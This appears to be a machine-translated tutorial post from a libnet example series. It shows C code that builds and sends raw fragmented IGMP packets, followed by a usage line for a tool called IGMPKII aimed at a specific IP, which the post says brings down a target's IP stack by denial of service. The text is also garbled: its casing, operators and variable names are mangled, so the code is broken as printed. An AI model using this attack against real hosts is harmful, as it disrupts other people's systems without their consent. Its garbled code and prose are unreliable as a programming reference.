Title: libnet Example of use (10) Author: small four
-------------------------------------------------- ------------------------ Void igmpsend (u_long srcip, u_long dstip) {u_short ipdatalen; u_short frag; u_short bit; bit = 0; ipdatalen = 8 ; / * 8-byte load * / FRAG = fragnumber * fragsize; do {/ * constructs IP head * / libnet_build_ip (ipdatalen, / * IP data area length * / iptos_lowdelay, / * ip TOS * / 19774, / * IP ID * / FRAG | BIT, / * FRAG STUFF * / 255, / * TTL * / ipproto_igmp, / * Upper Protocol * / srcip, / * Big-endian Sequence * / DSTIP, / * Target IP * / NULL, / * No option * / 0, / * Option length zero * / packet); / * Points to IP header * / libnet_write_ip (RawSocket, Packet, Libnet_IP_H ipdatalen); IF (FRAG == 0) {Break;} ipdata = fragsize * 8; bit = 0x2000; / * Non-final fragment * / FRAG - = fragsize; / * is all in 8 bytes * /} while (1 ); / * Total 11 shards send out * / return;} / * end of igmpsend * / --------------------------- ---------------------------------------------- USAGE:. / IGMPKII [- Si Srcip] [- Di Dstip] [--NUM IGMPNUMBER] [--fs fragsize] [--fn fragnumber] ./ IGMPKII - Di 192.168.8.90 - Num 1 --FS 1 - -fn 2000 This command is enough to be a target host's IP protocol stack, indicating that the size of the fragmentation is not important, mainly, the number of fragmented, there is too much DOS.